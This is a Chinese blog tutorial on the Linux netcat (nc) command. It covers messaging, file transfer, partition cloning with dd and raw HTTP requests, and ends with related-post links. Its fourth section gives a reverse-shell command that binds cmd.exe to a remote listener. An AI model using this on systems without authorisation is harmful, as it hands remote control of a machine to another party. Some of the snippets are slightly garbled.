come on 伸出中指戳戳上方关注我……

本文空调开放,欢迎阅读

nc 是 Linux 下的一个强大的命令。nc 是简称,全名是 netcat。大部分的 Linux 发行版都有自带 nc 这个命令,如果没有的话就需要自己安装了

我这里使用的是 CentOS 7.3,对于 nc,你可以使用 yum 安装或者自己编译二进制文件。这里推荐使用 yum 安装,因为 yum 可以自动解决依赖问题

1
yum install nmap-ncat.x86_64

同样,netcat 也有 Windows 版本可用,你可以在 https://eternallybored.org/misc/netcat 这里下载到 netcat 的 Windows 版本。这里下载到的是一个压缩包,里面包含 netcat 的源代码和 nc & nc64 两个已经编译好的二进制文件,你可以根据自己系统来选择使用 nc 或 nc64

成功安装之后你就可以使用 nc 命令了,使用 nc –help,你可以查看到 nc 命令的详细帮助。我在这里使用几个具体的例子来简要概述下 nc 命令的基本使用方法

0. nc 命令的标准使用形式

1
nc [-options] ip port[s] [ports]

ip 处是可以使用域名的,nc 会调用 DNS 解析成 IP 地址。如果不需要 nc 自动解析的话可以在执行时添加 -n [–nodns] 参数

1. 两台主机之间发送实时消息

1
2
A 主机:nc -lp port
B 主机:nc ip port

-l [–listen]:绑定并监听传入的连接
-p [–source-port]:指定要使用的源端口

建立连接后在任意一台主机输入信息并按下回车发送后对方就能收到
因为 nc 是会自动从标准流中读取数据的,如果想要禁止,可以在命令执行时使用 -d 参数

2. 两台主机之间传送文件

1
2
接收端:nc -lp port > outputfile
发送端:nc destip port < inputfile

这一条本质和上面那个是一样的,只是借用了输出重定向这个特性。同样,nc 命令也支持管道,你甚至可以借由此实现克隆分区:

1
2
3
4
5
6
7
接收端:
unmount /dev/sda2
nc -lp port | dd of=/dev/sda2发送端:
unmount /dev/sda1
dd if=/dev/sda1 | nc destip port

3. 发送 HTTP 请求

1
2
3
4
5
6
7
8
9
$nc destip 80 <<EOFGET /HTTP/1.1Cookie:xxx
xxx:xxx
xxxEOF

为什么?因为 nc 发送的是纯文本
保存 Web 页面?重定向输出流就好了

4. 反向代理 Shell

1
2
发送端:nc -lp localport
执行端:nc -t -e C:/windows/system32/cmd.exe destip destport

-t [–telnet]:响应 telnet 交互
-e [–exec-command]:执行给定的命令,也可以携带一个 lua 脚本

destip 和 destport 即为发送端的 IP 和 localport
连接成功后,发送端的会得到一个执行端的 Shell

你可以使用 -w 来设置无响应时的超时时间

nc 在默认情况下,如果连接到 Server 的 Client 断开连接,那么 Server 也会跟着退出。你可以使用 -k 参数来保持 Server 的监听状态

nc 是支持 IPV6 的,你可以使用 -4 & -6 参数来指定使用 IPV4 或 IPV6

nc 默认是使用 TCP 协议通信,但是也支持 UDP,可添加 -u 参数来使用 UDP 协议

对于使用 nc 去扫描端口这个用途,我是不推荐的,因为 nc 的扫描速度十分之慢。
而且,在最新的 nc 中,已经去掉了 -z    (zero-I/O mode [used for scanning]) 这个参数。
所以,对于这个需求,还是使用更专业的 nmap 吧

  • ●SpringBoot读取外部配置文件的方法

    ●支持百亿级别的 Java 分布式日志组件EasyLog

    ●MySQL 加锁和死锁解析

    ●如果是MySQL引起的CPU消耗过大,你会如何优化?

    点亮 ,告诉大家你也在看

Linux 下 nc 命令介绍相关推荐

  1. linux下mknod命令介绍

    2019独角兽企业重金招聘Python工程师标准>>> linux下mknod命令介绍 mknod - make block or character special files m ...

  2. Linux下chkconfig命令介绍

    一.引论 chkconfig命令检查.设置系统的各种服务.这是Red Hat公司遵循GPL规则所开发的程序,它可查询操作系统在每一个执行等级中会执行哪些系统服务, 其中包括各类常驻服务.谨记chkco ...

  3. linux nc 传送文件,Linux下nc命来实现文件传输

    发送端: cat test.txt | nc -l -p 6666 或者nc -l -p 6666 < test.txt 有些版本不要在 -p [监听6666端口,等待连接](设发送端IP为10 ...

  4. linux命令 删除alias,Linux下alias命令的用法介绍

    本篇文章给大家带来的内容是关于Linux下alias命令的用法介绍,有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助. 最近在使用ssh连接远程机器敲了类似ssh -i ~/.ssh/13 ...

  5. linux系统rz,rz:Linux下rz命令使用方法介绍

    今天来聊聊一篇关于rz:Linux下rz命令使用方法介绍的文章,现在就为大家来简单介绍下rz:Linux下rz命令使用方法介绍,希望对各位小伙伴们有所帮助. rz命令可以批量上传文件,当然也可上传单个 ...

  6. 嵌入式linux完整top命令,linux下top命令详细介绍

    top 命令是 Linux 下常用的系统资源占用查看及性能分析工具,能够实时显示系统中各个进程的资源(比如cpu.内存的使用)占用状况,top命令的执行结果是一个动态显示过程,即可以通过用户按键来不断 ...

  7. Linux查看WAS的jvm信息,linux 下使用命令查看jvm信息

    java程序员除了编写业务代码之外,特别是项目上线之后,更需要关注的是系统的性能表现,这个时候就需要了解一下jvm的性能表现了,可以借助于java虚拟机自带的一些分析工具,主要有三个常用的命令. 1. ...

  8. Linux下date命令的修改时间问题

    Linux下date命令的修改时间问题 最近好想学linux,刚好公司也有一台旧的电脑,可是有次公司突然停电了,我用date命令时出问题了,电脑的时间不对了,我后来到网上搜索了好久,也没找到同时修改时 ...

  9. Linux下sed命令替换配置文件中某个变量的值(改变包含字符的一行的值)之二——只改变第一出现的那一行

    一.背景 在之前的文章中有介绍过<Linux下sed命令替换配置文件中某个变量的值(改变包含字符的一行的值)> 但是这种方法存在一定的问题,就是假如某个变量在一个文件中出现两次,却只想更改 ...

最新文章

  1. 经验分享 | Burpsuite抓取非HTTP流量
  2. fatal error: nsync_cv.h: No such file or directory
  3. 【Matlab 控制】矩阵、图像操作基础
  4. 教育硬件告别“不温不火”:有道首战告捷,教育、科技巨头虎视眈眈
  5. Spring Boot进阶之Web进阶 代码推送的github上面去
  6. Linux 添加新硬盘
  7. 中国程序员的前景并非一片黑暗,教你如何拥有光明的前程
  8. 可解释性与deep learning的发展
  9. [Java] 蓝桥杯ADV-158 算法提高 新建Microsoft Word文档
  10. 模板 - 计算几何(合集)
  11. Windows下Vim设置
  12. QT_T04-COOD
  13. postgresql客户端代码上传中文数据到服务器
  14. 工程师笔记 | 嵌入式工程师常用软件
  15. 理解SparkSteaming窗口函数操作window()
  16. 测试开发工程师成长日记011 - linux常用命令day03
  17. 【宝藏分享】自从用了这款PPT插件,小伙伴们都跪着看我
  18. jssdk 获取微信收货地址_微信JSSDK获取当前地理位置信息
  19. SQLmap在进行SQL注入时的整个流程
  20. Win11图片打不开怎么办?Win11无法打开图片的修复方法

热门文章

  1. XSS-Lab闯关笔记
  2. TP-admin即基于ThinkPHP5拿来即用高性能后台管理系统
  3. Photoshop 2022下载上手体验:更加智能
  4. JS实现植物大战僵尸小游戏,代码记录及效果展示
  5. Ubuntu 安装和使用MySQL
  6. couchbase的使用(springboot连接couchbase,node.js连接couchbase)
  7. mac hdmi 不能调整音量_用快捷键调节 Mac 外接显示器亮度:MonitorControl
  8. 求cos(x)的值(java实现)
  9. 三星手机虚拟定位服务器,三星量产企业服务器用3.2TB NVMe SSD
  10. 第五届新疆省ACM-ICPC程序设计竞赛(Java版)